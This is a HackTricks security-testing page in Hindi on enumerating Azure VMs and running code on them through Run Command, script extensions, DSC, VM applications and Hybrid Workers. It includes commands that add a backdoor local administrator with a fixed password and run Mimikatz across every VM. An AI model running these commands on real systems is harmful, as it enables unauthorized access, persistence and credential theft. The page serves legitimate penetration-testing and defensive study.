Az - Virtual Machines & Network

HackTricks का समर्थन करें

बुनियादी जानकारी

दस्तावेज़ से: Azure वर्चुअल मशीनें ऑन-डिमांड, स्केलेबल कंप्यूटिंग संसाधनों के कई प्रकारों में से एक हैं जो Azure प्रदान करता है। आमतौर पर, आप एक वर्चुअल मशीन का चयन करते हैं जब आपको अन्य विकल्पों की तुलना में कंप्यूटिंग वातावरण पर अधिक नियंत्रण की आवश्यकता होती है। यह लेख आपको बताता है कि आपको वर्चुअल मशीन बनाने से पहले क्या विचार करना चाहिए, आप इसे कैसे बनाते हैं, और आप इसे कैसे प्रबंधित करते हैं।

Azure नेटवर्क जानकारी

Azure नेटवर्क में विभिन्न संस्थाएँ और इसे कॉन्फ़िगर करने के तरीके शामिल हैं। आप विभिन्न Azure नेटवर्क संस्थाओं के संक्षिप्त विवरण, उदाहरण और गणना कमांड पा सकते हैं:

Az - Azure Network

Azure बैस्टियन

Azure बैस्टियन SSL के माध्यम से Azure पोर्टल पर एक सुरक्षित, पूरी तरह से प्रबंधित RDP (रिमोट डेस्कटॉप प्रोटोकॉल) और SSH (सिक्योर शेल) एक्सेस समाधान प्रदान करता है। यह Azure वर्चुअल नेटवर्क के भीतर एकीकृत है, जो निजी आईपी का उपयोग करके VMs के लिए RDP और SSH कनेक्टिविटी की अनुमति देता है, जिससे सार्वजनिक आईपी की आवश्यकता समाप्त हो जाती है। यह सार्वजनिक आईपी असाइनमेंट और VM एक्सेस के लिए NSG नियम कॉन्फ़िगरेशन से संबंधित पारंपरिक तरीकों की तुलना में एक सुरक्षित, अधिक सुविधाजनक विकल्प बनाता है। डेवलपर्स और IT कर्मी Azure पोर्टल से अपने वेब ब्राउज़रों का उपयोग करके VMs तक सुरक्षित रूप से पहुँच सकते हैं, विकास और परीक्षण वातावरण के लिए प्रक्रिया को सरल बनाते हैं।

आप अपनी सदस्यता में सभी Azure बैस्टियन होस्ट की सूची बनाने के लिए निम्नलिखित कमांड का उपयोग कर सकते हैं:

az network bastion list --query "[].{name:name, resourceGroup:resourceGrou, location:location}" -o table

VM सूचीकरण

# Get readable VMs
Get-AzVM | fl
# Lis running VMs
Get-AzureRmVM -status | where {$_.PowerState -EQ "VM running"} | select ResourceGroupName,Name
Get-AzVM -Name <name> -ResourceGroupName <res_group_name> | fl *
Get-AzVM -Name <name> -ResourceGroupName <res_group_name> | select -ExpandProperty NetworkProfile

# Get iface and IP address
Get-AzNetworkInterface -Name <interface_name>
Get-AzPublicIpAddress -Name <iface_public_ip_id>

#Get installed extensions
Get-AzVMExtension -ResourceGroupName <res_group_name> -VMName <name>

Get-AzVM | select -ExpandProperty NetworkProfile # Get name of network connector of VM
Get-AzNetworkInterface -Name <name> # Get info of network connector (like IP)

VM में कमांड चलाएँ

VM में AAD लॉगिन

AzureAD के माध्यम से प्रमाणित उपयोगकर्ताओं को पहुँच की अनुमति देना संभव है। उदाहरण के लिए, एक linux VM तक पहुँचने की कोशिश करते समय: ssh username@azure-corp.com@1.1.1.1 (लॉगिन करने की कोशिश करते समय azurecorp के साथ उपयोग की गई ईमेल का उपयोग करना महत्वपूर्ण है) आपको एक त्रुटि मिल सकती है:

(username@azure-corp.com@1.1.1.1) This preview capability is not for production use. When you sign in, verify the name of the app on the sign-in screen is "Azure Linux VM Sign-in" and the IP address of the target VM is correct.

To sign in, use a web browser to open the page https://microsoft.com/devicelogin and enter the code DT4PNSTGR to authenticate. Press ENTER when ready.

बस उन निर्देशों का पालन करें https://microsoft.com/devicelogin पर जाकर और कोड को इंगित करते हुए, ईमेल और पासवर्ड को क्रेडेंशियल के रूप में उपयोग करें और आप SSH के माध्यम से कनेक्ट करने में सक्षम होंगे (यदि उस उपयोगकर्ता के पास ऐसा करने के लिए पर्याप्त अनुमतियाँ हैं: Virtual Machine Administrator Login या Virtual Machine User Login भूमिका)।

Run Command

# The permission allowing this is Microsoft.Compute/virtualMachines/runCommand/action
Invoke-AzVMRunCommand -ScriptPath .\adduser.ps1 -CommandId 'RunPowerShellScript' -VMName 'juastavm' -ResourceGroupName 'Research' –Verbose
## Another way
Invoke-AzureRmVMRunCommand -ScriptPath .\adduser.ps1 -CommandId 'RunPowerShellScript' -VMName 'juastavm' -ResourceGroupName 'Research' –Verbose

# Content of the script
$passwd = ConvertTo-SecureString "Welcome2022!" -AsPlainText -Force
New-LocalUser -Name new_user -Password $passwd
Add-LocalGroupMember -Group Administrators -Member new_user
# Try to run in every machine
Import-module MicroBurst.psm1
Invoke-AzureRmVMBulkCMD -Script Mimikatz.ps1 -Verbose -output Output.txt

कस्टम स्क्रिप्ट एक्सटेंशन चलाएँ

Azure वर्चुअल मशीन (VM) एक्सटेंशन छोटी एप्लिकेशन हैं जो Azure VMs पर पोस्ट-डिप्लॉयमेंट कॉन्फ़िगरेशन और ऑटोमेशन कार्य प्रदान करती हैं। उदाहरण के लिए, यदि एक वर्चुअल मशीन को सॉफ़्टवेयर इंस्टॉलेशन, एंटीवायरस सुरक्षा, या इसके अंदर एक स्क्रिप्ट चलाने की आवश्यकता है, तो आप एक VM एक्सटेंशन का उपयोग कर सकते हैं।

इसलिए, यदि आपके पास इसे लिखने का एक्सेस है, तो आप मनमाना कोड निष्पादित कर सकते हैं:

# Microsoft.Compute/virtualMachines/extensions/write
Set-AzVMExtension -ResourceGroupName "Research" -ExtensionName "ExecCmd" -VMName "infradminsrv" -Location "Germany West Central" -Publisher Microsoft.Compute -ExtensionType CustomScriptExtension -TypeHandlerVersion 1.8 -SettingString '{"commandToExecute":"powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add"}'

DesiredConfigurationState (DSC)

DesiredConfigurationState (DSC) एक PowerShell उपकरण है जो Ansible के समान है, जिसका उपयोग कोड के माध्यम से एक होस्ट को सेटअप करने के लिए किया जाता है। DSC Azure के साथ एकीकृत होता है, जो विशिष्ट कॉन्फ़िगरेशन फ़ाइलों को अपलोड करने की अनुमति देता है। इन फ़ाइलों को एक सख्त सिंटैक्स का पालन करना चाहिए। विशेष रूप से, Azure में DSC एक्सटेंशन उन फ़ाइलों से कमांड निष्पादित कर सकता है जो कुछ प्रारूप मानदंडों को पूरा करती हैं, भले ही सिंटैक्स DSC मानकों के लिए सही न हो, जैसा कि प्रदान की गई आकृति में दिखाया गया है।

इन कमांडों का निष्पादन Az PowerShell में Publish-AzVMDscConfiguration फ़ंक्शन द्वारा किया जाता है। आवश्यकताओं में एक .PS1 फ़ाइल शामिल है जिसमें एक परिभाषित फ़ंक्शन है और फ़ाइल को .zip फ़ाइल में संकुचित किया जाना चाहिए। भले ही सिंटैक्स DSC के लिए सटीक न हो, कोड फिर भी निष्पादित होगा। हालाँकि, एक्सटेंशन निष्पादन स्थिति को "विफलता" के रूप में चिह्नित करेगा, और कमांड से कोई आउटपुट दिखाई नहीं देगा क्योंकि स्थिति को विफलता संदेश द्वारा अधिलेखित किया गया है।

VM Application Definitions

VM Application Definitions Azure VM पर संस्करणित अनुप्रयोगों की पुनरावृत्त तैनाती की अनुमति देती हैं। यह संसाधन VMs के बीच अनुप्रयोगों की तैनाती और अपडेट का समर्थन करता है। इसे सेट करने के लिए, कई चरणों की आवश्यकता होती है, जिसमें Az PowerShell में New-AzGalleryApplication और New-AzGalleryApplicationVersion जैसे कमांड शामिल हैं।

इस विधि के माध्यम से अनुप्रयोगों या कमांडों का निष्पादन "VMAppExtension" के माध्यम से होता है, जो स्वचालित रूप से तब स्थापित होता है जब एक अनुप्रयोग को VM पर लागू किया जाता है। एक्सटेंशन निर्दिष्ट URI से फ़ाइल को पुनः प्राप्त करता है और इसे ठीक उसी नाम से नामित करता है जैसे अनुप्रयोग, बिना किसी एक्सटेंशन के। फ़ाइल को सही ढंग से निष्पादित करने के लिए, REST API कॉल में "ManageActions" फ़ील्ड को फ़ाइल को उचित एक्सटेंशन के साथ पुनः नामित करने के लिए कॉन्फ़िगर किया जाना चाहिए। इस विधि की सेटअप, एक बार पूर्ण होने पर, प्रदान की गई आकृति में दिखाए गए ढांचे के समान होगी।

हालाँकि, निष्पादन की यह विधि अपेक्षाकृत धीमी है, एक अनुप्रयोग या कमांड को निष्पादित करने में लगभग 3-4 मिनट लगते हैं। इस प्रक्रिया से संबंधित फ़ाइलें विशिष्ट निर्देशिकाओं में संग्रहीत होती हैं (C:\Packages\Plugins\Microsoft.CPlat.Core.VMApplicationManagerWindows\1.0.4\Downloads\ अनुप्रयोग कॉपी के लिए और C:\Packages\Plugins\Microsoft.CPlat.Core.VMApplicationManagerWindows\1.0.4\Status\ निष्पादन स्थिति के लिए)।

दोनों तकनीकें Azure वातावरण में कमांड निष्पादित करने और अनुप्रयोगों को तैनात करने के अद्वितीय तरीके प्रदान करती हैं, प्रत्येक के अपने सेट आवश्यकताएँ, चरण और विचार होते हैं।

Hybrid Worker Groups (HWGs) in Azure

Hybrid Worker Groups (HWGs) Azure में एक विशेषता है जो Runbooks को, जो एक Automation Account में कॉन्फ़िगर किए गए हैं, एक Azure Virtual Machine (VM) पर निष्पादित करने की अनुमति देती है जो निर्दिष्ट HWG का हिस्सा है। यह निष्पादन VM पर स्थापित एक एक्सटेंशन के माध्यम से सुगम होता है, जो Runbook कोड को VM पर तैनात करता है। इस प्रक्रिया का एक महत्वपूर्ण पहलू यह है कि वास्तविक क्रेडेंशियल्स निष्पादन में एक कारक नहीं होते हैं क्योंकि कोड उच्च विशेषाधिकारों के साथ चलता है, विशेष रूप से SYSTEM या रूट के रूप में, जैसा कि प्रदान की गई आकृति में दर्शाया गया है।

Windows 10 VMs का उपयोग करने वालों के लिए एक महत्वपूर्ण विवरण यह है कि Runbook के लिए PowerShell संस्करण को निर्दिष्ट करना आवश्यक है। इसे PowerShell संस्करण 5.1 के रूप में चलाने के लिए सेट किया जाना चाहिए, न कि 7.1 के रूप में। यह आवश्यकता इस तथ्य से उत्पन्न होती है कि PowerShell 7.1 इन VMs पर डिफ़ॉल्ट रूप से स्थापित नहीं है, जिससे यदि संस्करण 7.1 निर्दिष्ट किया जाता है तो स्क्रिप्ट निष्पादन में विफलता होती है।

Azure की यह विशेषता हाइब्रिड वातावरण में कार्यों को स्वचालित और प्रबंधित करने के लिए एक मजबूत विधि प्रदान करती है, Azure VMs पर कार्यों के केंद्रीकृत प्रबंधन और निष्पादन की अनुमति देती है।

References

Support HackTricks

Last updated